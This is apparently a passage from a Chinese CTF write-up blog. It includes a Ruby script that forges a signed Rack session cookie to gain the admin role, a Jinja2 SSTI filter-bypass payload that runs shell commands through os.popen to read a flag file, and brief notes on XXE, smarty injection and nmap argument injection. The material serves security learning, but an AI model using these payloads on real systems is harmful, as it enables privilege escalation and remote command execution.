# # Create URL object
# url = URI.parse(URL)

# creds = "demo"
# c = ""
# # Authentication
# resp = Net::HTTP.start(url.host, url.port) do |http|
# http.post(url.request_uri, "username=#{creds}&password=#{creds}")
# end

Cookies = "BAh7CkkiDXVzZXJuYW1lBjoGRUZJIglkZW1vBjsAVEkiCXJvbGUGOwBGSSIJ%0AdXNlcgY7AFRJIg9zZXNzaW9uX2lkBjsAVEkiRTAyMjU1OTdiMjJhYWM4Zjc3%0AYjcxZGUwNzQ2MjBlM2JiN2E5NDA1ODlmOWJjOTg5NWNiMTU3YzBlYTgyZGI5%0AYzIGOwBGSSIJY3NyZgY7AEZJIjF4MDlxTHVlOXdOZjNFWGx3T2ZzWjVXYlZ1%0ANEU5dnhBdW04TTk0Q3JZM1EwPQY7AEZJIg10cmFja2luZwY7AEZ7BkkiFEhU%0AVFBfVVNFUl9BR0VOVAY7AFRJIi00ZTRhYWEyYmFhZmVjYmIxYjcwOTViZWQ2%0AZDZmZWYzMmM3ZWI4NzEwBjsARg%3D%3D%0A--957bdf7dc19049010fd0b19e4d8656c42314b2db"


# puts get the cookie
cookie, signature = Cookies.split("--",2)
cookie = URI.decode(cookie)

decoded = Base64.decode64(URI.decode(cookie))
params = Marshal.load(decoded)
params.merge!({ 'role' =>"admin"})

print(params)
bad_cookie = URI.encode(Base64.encode64(Marshal.dump(params)))
bad_hmac = generate_hmac(bad_cookie, "01344904559362f6f5754df256908476702c8bd5d972a32e2fae2a7cc6fa4a7efd25079fddb5a11a0f8be0f607bf048fd6ecfe065380c27b2aa26015c3308e85")
header = "rack.session=#{bad_cookie}--#{bad_hmac};"
print(header)

贴一下学长写的

在kali ruby环境下跑一下!
注意,需要去题目的第二个入口伪造cookie才行!!!!!!

接下来就可以拿到flag了

LOVE-SSTI:

一开始的脑洞很烦,暹罗猫那个表情包有个别名 叫小豆泥,所以注入点是?xiaodouni=

接下来就是常规的ssti注入了,主要是去__doc__里面取字符,由于要查找flag,所以需要一个号,但是没找到\,写了个脚本要找*号,但是网站似乎不让爆破==就很难受,

import requests
url="http://39.96.91.106:3010/?xiaodouni="
s=requests.session()
headers=requests.session().headers
payload="{%set%20a=dict(op=x,p=x)|join()%}{%set%20b=(()|select|string|list)|attr(a)(24)%}{%set%20c=(b,b,dict(doc=a)|join,b,b)|join%}{%set%20g=(x|attr(c)|list)|"
for i in range(0,10000):
payload_fi=payload+f"attr(a)({i})%"+"}{{g}}"
url_f=url+payload_fi
print(s.get(url=url_f,headers=headers).text)
if "*" in s.get(url=url_f,headers=headers).text:
print(i)
break

所以就去找了一下其他方法。payload如下

{%set a=dict(op=x,p=x)|join()%}{%set b=(()|select|string|list)|attr(a)(24)%}{%set c=(b,b,dict(doc=a)|join,b,b)|join%}
{%set g=(x|attr(c)|list)|attr(a)(320)%}{%set gl=(b,b,dict(globals=a)|join,b,b)|join%}{%set bu=(b,b,dict(builtins=a)|join,b,b)|join%}{% set cr=(lipsum|attr(gl)|attr("get")(bu))["ch""r"] %}{%set d=cr(42)%}{% set or=("find / -name ",d,"fla",d)|join%}
{% set or1 = "cat /usr/fla??is?here?txt"%}{{(lipsum|attr(gl)|attr("get")("o""s")|attr("po""pen")(or1))|attr("read")()}}

小结:

至此 web的所有题目都ak。学到了很多~

buuctf14

[BSidesCF 2019]Futurella

查看源码就有flag?

Read more

buuctf13

[CISCN2019 华东南赛区]Web11

smarty模板注入 更改x-forwarded-for会有不同回显,猜测注入点在这,进行注入,百度了一下smarty模板,说是可以识别php语法:

Read more

buuctf12

[NCTF2019]True XML cookbook

依旧是xxe注入:
但是这题flag不在根目录下没法直接读取,所以看了一下wp说是在内网主机中!??????????果然还是做得题目少了,内网主机文件夹:
读取 /etc/network/interfaces 或者 /proc/net/arp 或者 /etc/host

Read more

buuctf11

[网鼎杯 2020 朱雀组]Nmap

本题应该考察nmap的指令参数注入,记得之前有做个类似的题目:

Read more